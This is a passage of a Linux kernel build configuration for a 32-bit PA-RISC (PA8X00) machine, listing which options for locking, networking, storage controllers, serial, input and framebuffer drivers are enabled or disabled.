CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=y
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=y
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=y
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=y
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_NEED_PER_CPU_KM=y
CONFIG_CLEANCACHE=y
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
CONFIG_HOTPLUG_PCI=m
# CONFIG_HOTPLUG_PCI_FAKE is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=y
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_DEBUG=y
# CONFIG_NETFILTER_ADVANCED is not set

#
# Core Netfilter Configuration
#
# CONFIG_NETFILTER_NETLINK_LOG is not set
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_XTABLES is not set
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
# CONFIG_IP_NF_IPTABLES is not set

#
# IPv6: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV6 is not set
# CONFIG_IP6_NF_IPTABLES is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=m
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=m

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_SENSORS_LIS3LV02D is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=y
CONFIG_IDE_GD_ATA=y
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
CONFIG_BLK_DEV_SIIMAGE=m
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=y
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
CONFIG_SATA_VIA=m
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARASAN_CF is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
CONFIG_PATA_VIA=m
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
# CONFIG_DM_RAID is not set
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
CONFIG_DM_UEVENT=y
# CONFIG_DM_FLAKEY is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_MII=m
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_DE2104X_DSL=0
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_KSZ884X_PCI is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
# CONFIG_E100 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_R6040 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SMSC9420 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_KS8851_MLL is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_SC92031 is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WAN is not set

#
# CAIF transport drivers
#
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1200
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=m
CONFIG_SERIO_SERPORT=m
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=13
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=y
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_RAMOOPS is not set
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#

#
# Enable Device Drivers -> PPS to see the PTP clock options.
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set
# CONFIG_MFD_SUPPORT is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=1
# CONFIG_DRM is not set
# CONFIG_STUB_POULSBO is not set
# CONFIG_VGASTATE is not set
CONFIG_VIDEO_OUTPUT_CONTROL=m
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_WMT_GE_ROPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
# CONFIG_FB_MODE_HELPERS is not set
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
